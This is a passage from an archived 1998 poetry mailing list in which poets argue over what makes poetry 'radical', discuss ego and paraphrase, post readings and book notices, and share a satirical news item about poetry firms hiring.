
193. David Baratier

Re: Robespierre promises Danton devotion until death

Sat 9 May 1998

The next revolution in poetry will be the same, old, singular revolution probably wearing corderoys & a colored print. The malordorant reality of the craft tapers with rags and wrinkles not strung up on a silly pole carried. Such an endeavor entails immense risks and impediments to prevent understanding from sneaking in, yet to cut short the compulsion to interpret seems necessarily quixotic.

No one can embrace true poetry till they have explored the cast-out, false poetries. On this list the obvious ones to absorb are the poet laureates--considering the negative banter abounding. Some of the folks on this list would have us disreguard Robert Hass' Field Guide because of his laureateship.

Truly dangerous work is not able to be cannonized, it will destroy those who benefit from the process of subdivided arts. A slate without segregation will not advance particular identities. Blankness is the failure of alternatives to come to mind.

As usual myth seeks to solve a dilema. A myth signifies primarily by what it wishes to exclude. Before we hide a want to be seen fleeing.

Be well

David Baratier

↑ Index

194. **Billy Little**
Re: "radical"
Sat 9 May 1998

---

isn't the "ultimate value" not blurring the distinction between the facile and the authentic acknowledging on the way the pleasures of both, one poetry, the radical poetry's the poetry you need and the other the cunning the crafted the terrifyingly tidy maybe the poetry you want and there's avante garde poets in both i started to say camps but it's not opposition as is too often imagined in urban US but complimentary. One thing Duncan taught was when you turn Archie Ammons or Bruce Andrews into the enemy maybe you waste a little too much of your own energy that might be better spent performing your superior practice and ignoring them while they play in the corner either the contrast is there or you can't make it so by saying so, in a certain way, Duncan's opposition playful or malicious as it may have been made Blaser a better poet, another way to say it would be chose an adversary worthy of opposition or you diminish yourself. And received ideas or unexamined homilies of any stripe, left or right, avant or derriere, make vomit. You won't get ahead by climbing on the back of C.K. Williams or Carolyn Forche, rather your prayer be their poems improve and surpass your own, what a wonderful world that would be, though i don't share his harsh judgement, i appreciate Silliman's idea of going after the best, he's not wasting his breath on Vendler. and whether you want to admit it or not you know some of the radicals who are plentiful out here: i think some of us are talking about radical as practice and some others are talking about the radical as behaviour and/or lifestyle.

I'd say John Wieners is a radical poet, Duncan McNaughton, i can't believe Valparaiso isn't on the tip of the tongue of..., but of course i understand, men who do not tiptoe around the correct are feared and ignored and called incomprehensible, if you're teaching contemporary american poetry and not teaching McNaughton you're not teaching, who's written a jazz poem like Black Spoon, only Baraka's in the tradition is in this league, and not teaching Baraka, that would qualify as cowardice, Rodefer, he's radical,Hannah Weiner, alice notley, Dodie Bellamy, they're fearless, Maxine Gadd, Gerry Gilbert,Nate Mackey, Gerry Creede, Kevin Davies, Jeff Derksen, Lisa Robertson, full steam poets, poets who aren't afraid to be fools, Jennifer Dunbar and Edward Dorn, jeremy prynne, instanter, David and Eleanora Antinova, Armand Schwerner, lots of radicals out here, Dorothy Trujillo Lusk, Judy Copithorne, Rhoda Rosenberg, Victor Coleman,i could go on all night, take off your blinders boys and girls it's not only apples and oranges and tenures and genders its pomegranites and kumquats and salmonberries and welfare and saxophones

and violins and Linton Kwesi Johnson and Attilla The Stockbroker and La Loca, get out of that library and rattle them pots and pans.

↑ Index

195. Martin Spinelli
jobs
Sat 9 May 1998

From the "Shorts" section of Thursday's Financial Times

(London) A report issued yesterday by Europe's leading poetry firms promises a rise in entry-level and middle management positions. The report, titled "Versing 2000," predicts a 18 percent growth in the field before the millennium. In the report's introduction, Madallene Drucille of the Belgium- based Poeticom, says "We are looking for talented and ambitious young writers with a professional interest in poetry." Today's poets need not feel hamstrung by literary history, says Drucille. "In fact, too much of a familiarity with old forms can be a real liability for perspective employees. We need writers not afraid to take chances, and we look for that in writing samples," she later offered in a phone conversation with the FT. But aspiring young Plaths and Eliots should not be without respect, she hastened to add. "What we are not looking for though is people with ego problems. Good employees always remember both that the client's needs come first and that they are part of a major organization with an international reputation," she cautioned. Eike Kahlheit of Bonn's Uberreden concurs in his contribution to the report. Kahlheit says Uberreden requires some firm guiding hands. "The real need is for supportive but stern manager-editors, people with experience focusing the energy of those on the shop floor." Later he states that "Distraction is real problem for our new employees. So much so that we have taken to restricting Internet access on most of our PCs to business related sites only." Drucille adds, "It's a tough balancing act between nurturing the creative process and seeing that the work gets done. Experience in retail management is a major plus." Poeticom has today announced that it wil soonl begin a job search for two mangers to oversee stables of twenty each. Share prices on all listed poetry firms are expected to increase steadily in the wake of the report until the summer slow-down.

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196. Kevin Varrone
reading announcement
Sat 9 May 1998

Philadelphia reading:

5 Corners Poetry Series Presents:

Gregg Biglieri & Lisa Jarnot

Thursday, May 21st, 8 p.m.
@ george's 5th Street Cafe

(5th & Gaskill Streets, between Lombard and South Strets)

For info, directions, etc., backchannel or call Kevin
@ 215/[redacted]

This will be the last 5 Corners reading of the season.
If you're in the area, stop in.

Thanks
kevin

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197. Annie Finch
poetry/the cello
Sat 9 May 1998

Joel Lewis wrote:
"Many of us were non-writer readers briefly, but
the urge to write fixed that. I mean, it ain't like taking up the cello. "

Why/how not?

Annie

Date: Fri, 8 May 1998 00:47:22 +0100
From: joel lewis <[redacted]>
Subject: Re: Non-Writing Readers of Poetry

Must say there are a lot more of "them" out there then we poets realize. The readership of formalist folk like Hecht and Wilbur are mostly non-writers. Also got a Penguin copy of Robert Frost's Early Poems in a review box that included Alice Notley's wonderful new book. The editor of selection argues hard how Frost wanted to reach an audience, as oppossed to those crummy modernists like Pound & Eliot. Can't say I have much feeling for Frost, but I've known dozens of folks, mostly non-poets, who treasure him.

I must say I never had touble w/ the poetry audience being composed of other poets. Are we not a wee bit like Commies of yore trying to get people to pick up the sullen art? Many of us were non-writer readers briefly, but the urge to write fixed that. I mean, it ain't like taking up the cello.

I've found the best response to my work coming from non-writin' artists in other disciplines.

joel lewis

_____
_____
_____

Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

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198. **R.Gancie/C.Parcelli**
Listen to the Machingbyrd
Sat 9 May 1998

"'The world is given to us only once', wrote Ernst Mach, which means that statements implying ahistorical regularities are idealizations, or 'instruments', not descriptions of reality.---Paul Feyerabend-Farewell to Reason---cp

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199. **Michael Magee**
Re: radical
Sat 9 May 1998

From Henry:
"Imagine this: democracy - real commonwealth - HAS to be based on a deep or radical recognition of human weaknesses."

Two, I think, resonant quotes in light of Henry's request (imagine this...):

Melville's Ishmael: "Heaven have mercy on us all - Presbyterians and Pagans alike - for we are all somehow dreadfully cracked about the head, and sadly need mending."

and Robert Creeley:

"The imagination of a commonwealth must make that sharing literal - there cannot be an invested partiality hidden from the participants...Realize that the general, the we-ness proposed in various realities, may well prove to be this kind. Obviously, any 'we' must, willynilly, submit to the organic orders of its existence: must sleep, must eat, must drink, most move, must die. But that is very nearly the totality of the actual demand. Elsewise, the 'geography leans in,' as Olson put it. Place is a real event - where you are is a law equal to what you are."

-m.

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200. Jordan Davis
"Non-violent paraphrase and self-defeating maps," or, your fun is a snob
Sat 9 May 1998

THE CAMPAIGN TO STOP ERIK'S LAUGHING FIT

Any time you say what someone else said _in your own words_
you are saying something else. But verbatim, who among is
is is T. S. Eliot? or Ezra Pound? or their greatgodson
Ted Berrigan? still there must be a way to talk about what
other people talk about without seeming angry or unintelligent.

Jonathan's mapdrawing is nothing new and therefore no more attractive to laughter than anyone say Bob Grumman's or Miekal And's neologistics or Bob Perelman's chapter. Jonathan's jokes make me laugh more though. Maps and censuses need remaking constantly but they don't, you just need to have allies (friends) everywhere you go.

Now this message must turn to the cello. There will be two reading/ recitals in June by me and cellist Louise Dubin, whose poems have appeared in the Poetry Project Newsletter among other places. The first reading is the weekend of June 7 at International House at Columbia, the second is June 18, 6 pm or so at Teachers & Writers.

Poetry Project's Ymposium in full steam. Tim Atkins, Julie Patton, Mark Nowak, Brenda Coultas have all given readings you would have found admirable. T/K: Tim Davis, Ange Mlinko, Rod Smith, Gary Lenhart, etc etc etc etc etc. See you there? I have to go write my talk about identity and invention (ulp) now. Wish me luck.

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201. ScoutEW
Re: radical
Sat 9 May 1998

In a message dated 5/9/98 3:50:59 PM, you wrote:

<< Place is a
real event - where you are is a law equal to what you are.">>

and as Edward Dorn says, Place can be effete...
good luck everyone thru the May showers

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202. **henry g**
Re: radical
Sat 9 May 1998

On Sat, 9 May 1998 12:21:39 EDT ScoutEW said:
>
>and as Edward Dorn says, Place can be effete...

The obsolete (worn-out, effete) is the key to the future. The effete is the most powerful thing in the world because it asserts its own absolute value flying in the face of all byt practicality - the whole trade of life. Check out the film version of the Russian novel "Oblomov" for a good example. I go back to "radical" and the action of roots. Mark Prejsnar started all this off saying innovative poetry tears apart, breaks up. This is true, but not in the way of critical analysis (which breaks up & also keeps the analyst/observer at a distance). Poetry, via imitation & pathos, divides and binds together the opposites - grace and disgrace, in a way that the observer experiences & participates in. Poetry is both precious and radical. It's preciousness - i.e. the beauty of language in itself, the music of language - is like the flower, the radical beauty which challenges the byt world. It's radicalness is its absorption of present reality and reflection of its pressures and details in depth. It digs down like a root to the hidden disgrace underlying a society's surface smoothness, the chaos under the ordure, Yeats' "beauty sets its throne in the place of excrement" or however it goes. So when you fuse radical beauty (the music) with radical insight, you have a very powerful sword in your hand, says Blake. So Aristotle makes tragic poetry (drama) the exemplary form of poetry in general - the mediating power revealing the human weaknesses that divide and bind a community together/apart. And going back to M. Magee's Creeley quote can suggest how these forces are still at work and put to use by poets radical enough to take up the challenge.

"He hath disgraced me, and hindered me half a million, laughed at my losses, mocked at my gains, scorned my nation, thwarted my bargains, cooled my friends, heated mine enemies; and what's his reason? I am a Jew. Hath not a Jew eyes? hath not a Jew hands, organs, dimensions, senses, affections, passions? fed with the same food, hurt with the same weapons, subject to the same diseases, healed by the same means, warmed and cooled by the same winter and summer, as a Christian is? If you prick us, do we not bleed? if you tickle us, do we not laugh? if you poison us, do we not die? and if you wrong us, shall we not revenge?" - Shylock, from MERCHANT OF VENICE - Henry G

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203. linda russo
Re: also Re: "radical"
Sat 9 May 1998

joe wrote linda wrote gary wrote judy wrote:
> << > "in the lack of taint of ego as to seem completely ordinary."
>
> I noticed that in Gary Sullivan's response the "taint of ego" got brushed
> aside:
> >>
> what does this mean?

I mean Gary S. asks about radical poets, rather than poets who are radically egoless and so seem like ordinary people rather than poets -- which is what the quote suggested to me. A pertinent point, I think, as the whole thread has fallen to the side of careerism rather than poetics, if one were to make that a distinction.

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204. henry g
correction
Sat 9 May 1998

'A woman can be proud and stiff
When on love intent;
But Love has pitched his mansion in
The place of excrement;
For nothing can be sole or whole
That has not been rent.'
- Yeats, "Crazy Jane Talks with the Bishop"

- it was Love, not Beauty. precious & radical: Mandelstam's "heaviness and tenderness", twin roses, one rose. the heaviness gets heavier & heavier, and the tenderness more tender. division/wholeness. - HG

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205. Charles Alexander
Re: also Re: "radical"
Sat 9 May 1998

> *Eigner's work is a really good example of this. I have heard that in life he was just as cranky and hard to deal with as most of us. But in his work he's just plain invisible.*

What? Sure, if you want to see a diminished sense of self-importance in that work, I can agree. But not invisibility. It is Eigner who made that work, and there's certainly nothing like it. Maybe what we're talking about is more a question of 'how' the self is inscribed rather than 'whether' it is inscribed. And I think this is true of Dickinson, too.

charles

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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206. Martin Spinelli
Radical Andrews
Sat 9 May 1998

> *What oppressive system can Andrews's writing be said to erode? His work and career arrive from the context of capitalism and literary production/career-making and readings of same are subsumed by the same context into which they arrived, having made, at best, minor ripples on the surface of any system, oppressive or otherwise.*
>
> *Has his work thrown into question his own power base, his own way of life, his own order of things? Andrews has taught at Fordham University for the last 20, 30 years.*

I think Andrews himself would be well aware of the dilemma you point to... he's quite sussed about it in fact. In his LINEbreak interview (transcribed in _Chloroform_) he firmly situates himself "in all the major oppressor groups". He deals with this, and issues of the political potency of poetry in general, by suggesting that large-scale mobilizations are typically only good for shoring up the status quo. That writing works first on the *writer* and then on discrete readers already tuned into a particular project (literary or political).

It seems a method of survival in this sense. A way of dealing with these "oppressive systems" without a kind of personal acquiescence. And better than prosac there's perhaps something of value in the example. (Tacit support or conscientious objection?)

Whether this is "radical" or not is less interesting to me. But I do think the practice of chomping on the candy-coating/linguistic products of the culture industry in order to peak at the structures, restrictions and the pervasiveness of its ooey-gooey center is, in your words, something that should be "valorized".

Perhaps this is just my way of agreeing with you Gary while explaining an attachment to Andrews (from whom I've learned much much). "Radical"... past

it's sell-by date maybe... and with "revolutionary" long dead, and "avant-garde" grounded, are we without a metaphor to call our own? "Tactical"? Howbout "Survivalist"... wear fatigues, move to Montana, carry guns that shoot fridge-magnets... I'm sure Morphy would be with me!

Best,
Nero of Buffalo
(formerly)

_____

Martin Spinelli SUNY Buffalo English Department
Granolithic Productions

[redacted]
LINEbreak http://writing.upenn.edu/epc/linebreak
ENGAGED http://www.engaged.demon.co.uk

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207. **JBCM2**
Re: also Re: "radical"
Sat 9 May 1998

In a message dated 5/9/98 7:39:25 PM Eastern Daylight Time, [redacted] writes:

<<
joe wrote linda wrote gary wrote judy wrote linda wrote:
> << > "in the lack of taint of ego as to seem completely ordinary."
>
> I noticed that in Gary Sullivan's response the "taint of ego" got brushed
> aside:
> >>
> what does this mean?

I mean Gary S. asks about radical poets, rather than poets who are radically egoless and so seem like ordinary people rather than poets -- which is what the quote suggested to me. A pertinent point, I think, as the whole thread has fallen to the side of careerism rather than poetics, if one were to make that a distinction.

I don't understand what phrases like "taint of ego" or "radically egoless" actually mean. in the jobs post, it means someone who isn't a team player -- both of these suggest to me that the absence of ego is a desirable end, which seems to me to be impossible, except for psychotics who are psychotic all the time. can you explain to me what you mean by "egoless"?

Joe

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208. **Michael McColl**
Re: Understanding and Evaluating Poems
Sat 9 May 1998

Henry--answering you before I read the other 265 messages I find now that I've returned from somersaulting waterfalls . .

In what has been called "abstract" or "non-syntactic" poetry, I don't think the model of the sublime as you describe it (which I read admittedly quite rapidly) can be applied, as there is not a logical "first" meaning which is superseded or filled to bursting with intimations of a grander not paraphrasable meaning. But your point is very well taken, and I now seem to recall that Lyotard, it might have been, and perhaps others too, were much influenced in their ideas about writing by a preference for the sublime. Mike McColl

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209. **Michael McColl**
Re: Understanding and Evaluating Poems
Sat 9 May 1998

Charles--having paraphrasable content = sense (in a conventionals sense)

The meaning of "sense" can be broadened--makes a weird kind of sense, etc--but I think it helps to keep that meaning restricted and use "meaning" for a broader sense of sense. At least that's how I was thinking of it. And it also helps to make comparisons to abstract painting. When someone said a painting by Kandinsky was better than some other abstract painting, wouldn't a defense of this judgment involve new and different criteria than a judgment concerning two representational paintings? Mike McColl

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210. **henry**
Re: Understanding and Evaluating Poems
Sat 9 May 1998

> *In what has been called "abstract" or "non-syntactic" poetry, I don't think the model of the sublime as you describe it (which I read admittedly quite rapidly) can be applied, as there is not a logical "first" meaning which is superseded or filled to bursting with intimations of a grander not paraphrasable meaning. But your point is very well taken, and I now seem to recall that Lyotard, it might have been, and perhaps*

> *others too, were much influenced in their ideas about writing by*
> *a preference for the sublime. Mike McColl*

Music might be a better analogue for understanding these things. & I don't mean music in the Mallarmean-symbolist sense of a purification or refining away of the "world of representation". There is a more radical concept out there of music itself as a representation or expression of the essential "song-quality" of nature and creation - a sublime notion in itself. It's not that essential poetry is not paraphraseable; it's that poetry is the closest paraphrase of the universe.

"He often composed and reworked poems while walking the streets of St. Petersburg at night, with the beat of his footsteps providing a natural measure or meter (as it did for walkers Dante and Beethoven...During composition/creation he actually sang his poems, as he did while "reading", that is, reciting them without notes...As part of this orality, he (and his wife) knew the entire oeuvre by heart: once he lost his portfolio and a volume of Bergson en route home from Berlin, but no matter: the former could be bought, the latter retranscribed. Mandelshtam's process of poetic creation despite its erudite world culturalism was in many musically critical ways closer to Eskimo virtuoso Orpingalik... than to most of his Russian contemporaries. It was also closer to the Archaic Greek model that he espoused..." - Paul Friedrich, MUSIC IN RUSSIAN POETRY - Henry G

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211. joel lewis
Re: poetry/the cello
Sun 10 May 1998

> *Joel Lewis wrote:*
> *"Many of us were non-writer readers briefly, but*
> *the urge to write fixed that. I mean, it ain't like taking up the cello. "*
>
> *Why/how not?*
>
> *Annie*

well, for onr, the means of production for writing poetry are generally at hand -- pen/pencil, paper, stamps, the local xerox shop. Also poetry has a tradition of self-instruction (i'm sure there are good writers out there who have never set foot in a writing workshop).

Other disciplines take a bigger leap of faith. There is the case of the graet Brit saxophonist Andy Sheppard who, at age 19, bought a used saxophone, played it

non-stop for a week and played a street corner concert soon after that (and the rest being history), but that is a rare bit of d.i.y.

Poetry offers more avenues for the novice artist in the culture of the open reading. You just get up, read your stuff, and, usually, poeple applaud. Ypu sqwauk at an after hours jazz session and you get laughed off the stage (it happened to a young charlie parker) and, anyways, cellos are expensive. someone will always lend you a pencil.

joel "means of production" lewis

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212. **R. Gancie**
radical
Sun 10 May 1998

"The helmsmen of explorations have discovered how to disturb everybody else's peace,[how to] violate the native spirits of the [diverse] regions, [how to] mingle together that which provident nature had kept separate; [how] by intercourse to redouble defects and add to old vices the new vices of other peoples, with violence to propagate follies and to plant unheard-of insanities where they did not before exist, so that he who is strongest comes to conclude that he is wisest. They showed new ways, instruments and arts for tyrannizing and murdering each other. The time will come when, in consequence of all this, those men, having learned at their own expense (through the way things turn out), will know how to and will be able to return to us similar and even worse fruits of such pernicious inventions."---Giordano Bruno, Ash Wednesday Supper, 1584---cp

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213. **MAYHEW**
paraphrasable
Sun 10 May 1998

Isn't the "paraphrasable content" (that phrase keeps appearing on this list) of most poems something like "Please love me for my brilliant, witty poems" or "Please feel sorry for my pain and suffering." Or perhaps I speak only for my own poems.

To have no ego makes no sense at all in psychological terms--Joe is perfectly correct to point this out. I don't think phrases like "the taint of ego" are meant in so literal a way, though. It's like when people say "cerebral" with a negative connotation; they aren't really imagining cognition that doesn't take place in the cerebellum--rather they refer to (what they perceive to be)

overintellectualism. [personally the use of the word cerebral in this context bugs the hell out of me]

Making an end-run around the ego means avoiding a certain kind of vanity, overinvestment in one's self-concept, etc... This can be very difficult for some poets. Imagine Robert Lowell trying to do this! Jed Rasula I think it was who pointed out how many books on American poetry have the word "self" in their titles... Who coined that phrase about the "egotistical sublime"?

For some who use the word "ego" in this sense the reference is Buddist, not psychoanalytical in the least. Perhaps someone can enlighten me on this score...

Jonathan

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214. **Michael McColl**
Re: Understanding and Evaluating Poems
Sun 10 May 1998

If the poet as city walker left his frail skull
to peek for just a second or maybe to overhear
a rumor of the speed of light at the farthest edges
he step over the sidewalk and into the street
cars don't begin to stop in the city
in his room composing his desire for the fragmented bodies
tuneful car alarm telephone raging neighbors
and the bottle glass become his universe
and his fear of all the poisons
list them here don't tell me music there is no
universe

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215. **Tim Wood**
Re: technique and fury
Sun 10 May 1998

Up front, I'll confess I'm actualy very fond of Nedge (so does that make me conservative...) but I'm also interested in hearing more. Rage on, yes rage on (how does that line go?) into the sweet night... But, post here, too. Gotta leave enough of a trail for others to follow...

Tim Wood

BTW, check out my new sig (down below o'course)... one I've wanted to create for a while, the exchange between you & henry added the final bit. Not a poem I think; perhap ars poetica en soundbite (yeah, yeah, my spanish stinks).

Someone is reputed to have said

> *On Fri, 8 May 1998 10:01:09 -0400 Mark Prejsnar said:*
> **The best technique is that which breaks apart.*
>
> **The best technique is that which disturbs.*
>
> **The best formal approach is that which cannot be easily taught (that which is taut); and which does not easily find approbation within the inert structures of insitutions (be they universities, or Nedge).*
>
> *Nedge isn't an institution, it's a magazine. Nor does it seem to be*
>
> **I never cease to amazed at the profound conservatisim of folks on this*
>
> *than you'll ever be. Rage on....*

---

poetry is an hour
a flash
of sound
bytes
  found
  rescued
  boiled
freed
to rage again

↑ Index

216. Judy Roitman
Re: Robespierre promises Danton devotion until death
Sun 10 May 1998

> *The next revolution in poetry will be the same, old, singular revolution probably wearing corderoys & a colored print. The malordorant reality of the craft tapers with rags and wrinkles not strung up on a silly pole carried. Such an endeavor entails immense risks and impediments to prevent understanding from sneaking in, yet to cut short the compulsion to interpret seems necessarily quixotic.*
>
> *No one can embrace true poetry till they have explored the cast-out, false poetries. On this list the obvious ones to absorb are the poet laureates-- considering the negative banter abounding. Some of the folks*

> *on this list would have us disreguard Robert Hass' Field Guide because of his laureateship.*
>
> *David Baratier*

Robert Hass is an interesting example. What I've read of him feels like he's holding back, not quite following through, not going far enough.

Too bad. He coulda been a contender.

To answer somebody else: for a true radical, E. Dickinson.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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217. **Judy Roitman**
Re: also Re: "radical"
Sun 10 May 1998

> *In a message dated 5/9/98 7:39:25 PM Eastern Daylight Time,*
> *[redacted] writes:*
>
> *<<*
> *joe wrote linda wrote gary wrote judy wrote linda wrote:*
> *<< > "in the lack of taint of ego as to seem completely ordinary."*
>
> *I noticed that in Gary Sullivan's response the "taint of ego" got brushed aside:*
> *>>*
> *what does this mean?*
>
> *I mean Gary S. asks about radical poets, rather than poets who are radically egoless and so seem like ordinary people rather than poets -- which is what the quote suggested to me. A pertinent point, I think, as the whole thread has fallen to the side of careerism rather than poetics, if one were to make that a distinction.*
>
> *I don't understand what phrases like "taint of ego" or "radically egoless" actually mean. in the jobs post, it means someone who isn't a team player -- both of these suggest to me that the absence of ego is a desirable end, which seems to me to be impossible, except for psychotics who are psychotic all the*

> *time. can you explain to me what you mean by "egoless"?*
>
> *Joe*

Well sure. Lack of self-absorption. The transparent self.

Eigner's work is a really good example of this. I have heard that in life he was just as cranky and hard to deal with as most of us. But in his work he's just plain invisible.

Emily Dickinson is another example. In life she certainly seems to have set out some very well-defined parameters, but even thougth first person pronouns & possessives appear a lot in her poetry (unlike in Eigner's, where they almost never appear) there is a marked absence of personal particularities.

As for absence of ego being a desirable end, see almost any religion. Psychotics have different issues to deal with. But anyway I was talking about a poet's work, not persona.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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218. R. Gancie
radical
Sun 10 May 1998

The Mosquito
O mosquito, you're blessed with all nice things!
What do you lack? Why buzz and still complain?
You've rested on jade mats and ivory beds.
You've stroked and kissed rouged lips or powdered cheeks.
You've spared no children, pampering your mouth.
You've hurt poor people, glutting up your paunch.
When a good swatter someday comes to hand,
I'll pay you for your crimes without a blink!
---Phan Van Tri, 19 Century Vietnamese poet writing 100 years before
Dien Bien Phu and 114 years before the Tet offensive---cp

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219. **groberts**
Re: paraphrasable
Sun 10 May 1998

Bored? Then try doing something "creative"
With rhymes Byronically methodical.
What's the opposite of "conservative"?
Uh huh, yes you guessed it right--"radical,"
Though you could've answered "innovative"
And been just as correct. It's what I call,
So cleverly, a "foregone confusion,"
To which, of course, there's never conclusion.

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220. **linda russo**
Re: also Re: "radical"
Sun 10 May 1998

thanks, judy, for making the distinction, esp. since i wasn't trying to make a point re: egolessness except to point out how i saw gary reading & discussing the particular quote

i'm with judy -- i read it in the sense of not having a "big ego" -- of being able to engage in poetry not for oneself (selfishly) or one's career, but for poetry -- though a notable (and possibly volatile) exception would be Pound, who (at one point or another, but not ultimately?) made accomplishments in all three (selfishness, careerism, poetry)

(call me an idealist but) i believe in poetry for poetry's sake -- & i believe _that_ sort of engagement is a very generous act -- not selfish, or self-contained or escapist, as the term (art for art's sake) is often critically applied

yikes i can't believe i said 'art for arts sake' -- a term which i'm not ready to defend (it's someone else's understanding, not mine)

i really just want to know what the/some difference(s) between poetics & aesthetics is/are. -- any ideas? anyone?

> *I don't understand what phrases like "taint of ego" or "radically egoless" actually mean. in the jobs post, it means someone who isn't a team player -- both of these suggest to me that the absence of ego is a desirable end, which seems to me to be impossible, except for psychotics who are psychotic all the time. can you explain to me what you mean by "egoless"?*
>
> *Joe*

> *Well sure. Lack of self-absorption. The transparent self.*
>
> *Eigner's work is a really good example of this. I have heard that in life he was just as cranky and hard to deal with as most of us. But in his work he's just plain invisible.*
>
> *Emily Dickinson is another example. In life she certainly seems to have set out some very well-defined parameters, but even thougth first person pronouns & possessives appear a lot in her poetry (unlike in Eigner's, where they almost never appear) there is a marked absence of personal particularities.*
>
> *As for absence of ego being a desirable end, see almost any religion. Psychotics have different issues to deal with. But anyway I was talking about a poet's work, not persona.*
>
> *---*
> *Judy Roitman | "Whoppers Whoppers Whoppers!*
> *Math, University of Kansas | memory fails*
> *Lawrence, KS 66045 | these are the days."*
> *[redacted] |*
> *fax: [redacted] | Larry Eigner, 1927-1996*
> *---*
> *Note new area code*
> *---*
> *http://www.math.ukans.edu/~roitman/*
> *---*

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221. **morpheal**

Re: paraphrasable

Sun 10 May 1998

> *Isn't the "paraphrasable content" (that phrase keeps appearing on this list) of most poems something like "Please love me for my brilliant, witty poems" or "Please feel sorry for my pain and suffering." Or perhaps I speak only for my own poems.*

There are two types of poetry. Only two types.

The one type is purely fictive.

The other type is as true as possible to personal experience.

Of course there are meldings of the two that make it hard to discern authenicity from fictive content. That is sometimes the poet's own struggle to remain authentic, and not fall into the labyrinthine traps of language. Too complicated a metaphor, for instance, with two many misleading nuances, that no longer says what was truly meant can inadvertently lead there. The trouble with what used to be referred to as "flowery language".

Of course, there are also those that claim all poetry ought to be fictive.

The latter is most true in totalitarian and totalistic political systems.

In some systems that is the equivalent of "make a joyful noise to the_____" That joyful noise then being what is fictive.

Substitute any authority figure that has enough power to oppress, so as to cause fear enough to squelch or silence expression, for the _____.

Boss.

Lord.

Dictator.

Tyrant.

State.

Etc.

M.

↑ Index

222. linda russo
Superflux query
Sun 10 May 1998

Does anyone have email addresses for Leslie Davis or Hoa Nguyen? Or do you know anything about Superflux (are there other editors?)

thx.

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223. KENT JOHNSON
The neighbor's dog fence
Sun 10 May 1998

Gary Sullivan's questions in his two posts yesterday about what it means to write "radical" poetry were very interesting.

I like Bruce Andrews's work quite a bit and have found some of it surprising in a provocative sort of way. His writing is full of angry and crazy energy and that's admirable. But I agree with Gary that his poetry is not ultimately radical _as poetic act_, for its "radicalness" is merely textual and not _conceptually subversive_ of (in Gary's phrase) the 'context into which such radicalness arrives.' With no apparent remorse, such poetry enters into and validates--precisely through its self-proclaimed "oppositionality"-- the very relations of literary production and exchange it purports to critique. This is not a contradiction that only haunts Andrews's work.

(Remember all those essays declaring war on the "I" and the "self"?)

This is largely why language poetry grew exhausted and failed and why smart younger poets influenced by them are obsessively writing about their identity crisis. I suppose that sounds like a presumptuous pronouncement, but it's quite simply true. As with all my other posts, I have no doubt that once everyone sits down to think about it that there will be a happy consensus around the point.

A few days ago my neighbor set up an electric dog fence in his yard, and as I watched his poor, bewildered animal leap and yelp and pace and growl, it occurred to me that invisible dog fences might be analogous to any "radical" author's legal name. Eventually, the dog lay down and slept. Today (ah, beautiful spring, blossoms abounding), he barks and bares his teeth, and everyone is safe.

Kent

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224. **J. Fuhrman**
Re: The neighbor's dog fence
Sun 10 May 1998

Kent- fascinating post-- Who would you consider a smart young language influenced poet writing about identity? What do you mean by identity? Some language poetry seems to be about identity too or at least the "problem" of identity?

On Sun, 10 May 1998, KENT JOHNSON wrote:

> *Gary Sullivan's questions in his two posts yesterday about what it means to write "radical" poetry were very interesting.*
>
> *I like Bruce Andrews's work quite a bit and have found some of it surprising in a provocative sort of way. His writing is full of angry and crazy energy and that's admirable. But I agree with Gary that his poetry is not ultimately radical _as poetic act_, for its "radicalness" is merely textual and not _conceptually subversive_ of*

> *(in Gary's phrase) the 'context into which such radicalness arrives.' With no apparent remorse, such poetry enters into and validates-- precisely through its self-proclaimed "oppositionality"-- the very relations of literary production and exchange it purports to critique. This is not a contradiction that only haunts Andrews's work.*
>
> *(Remember all those essays declaring war on the "I" and the "self"?)*
>
> *This is largely why language poetry grew exhausted and failed and why smart younger poets influenced by them are obsessively writing about their identity crisis. I suppose that sounds like a presumptuous pronouncement, but it's quite simply true. As with all my other posts, I have no doubt that once everyone sits down to think about it that there will be a happy consensus around the point.*
>
> *A few days ago my neighbor set up an electric dog fence in his yard, and as I watched his poor, bewildered animal leap and yelp and pace and growl, it occurred to me that invisible dog fences might be analogous to any "radical" author's legal name. Eventually, the dog lay down and slept. Today (ah, beautiful spring, blossoms abounding), he barks and bares his teeth, and everyone is safe.*
>
> *Kent*

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225. Christopher Reiner
New book
Sun 10 May 1998

---

happy to post this:

> *Inside the Hours. Fictions by Cydney Chadwick. (Cover art by New York artist Toni Simon). Texture Press. 37 pages. ISBN: 0-9641387-3-0. List Price $6.*
>
> *Cydney Chadwick's seventh book of fictions is a haunting series of portraits showing the uncanny dimensions of everyday life. Chadwick truly takes us 'inside the hours' to explore the unfamiliar side of our all-too-human foibles. The mirror she holds up to inner reality returns a chillingly accurate image; at the same time, the steadiness of her gaze ultimately reveals itself to be an intensified form of compassion. Chadwick has developed a style of fiction that is as distinctive as it is compelling.*

> *Available from www.amazon.com, and Texture Press: P.O. Box 720157, Norman, OK 73072*

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226. Franklin Bruno
poetics/aesthetics
Mon 11 May 1998

Linda Russo asks, quite reasonably:

> *What's the difference between poetics and aesthetics?*

I don't know what the difference -really- is, but I think I understand the difference in the way these terms are used. Poetics is at least in part generative; in so far as they're explicit, one's poetics help guide what one wants to do in one's work. They may also be polemical (I write like this, so should you) or simply offered as an option (here's one way to write). Aesthetics, insofar as it's still connected to a traditional philosophical discipline, assigns value to already extant work via application of antecedent principles. It's little concerned with identifying fruitful methodological possibilities (though I suppose one's aesthetics might valorize work that can point the way to other work, that opens rather than closes doors.) Surely the border between these two notions is porous.

So: what's the difference between aesthetics and literary criticism?

fjb

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227. Tom Beard
Re: The neighbor's dog fence
Mon 11 May 1998

> *This is largely why language poetry grew exhausted and failed and why smart younger poets influenced by them are obsessively writing about their identity crisis. I suppose that sounds like a presumptuous pronouncement, but it's quite simply true.*
>
> *Kent- fascinating post--*
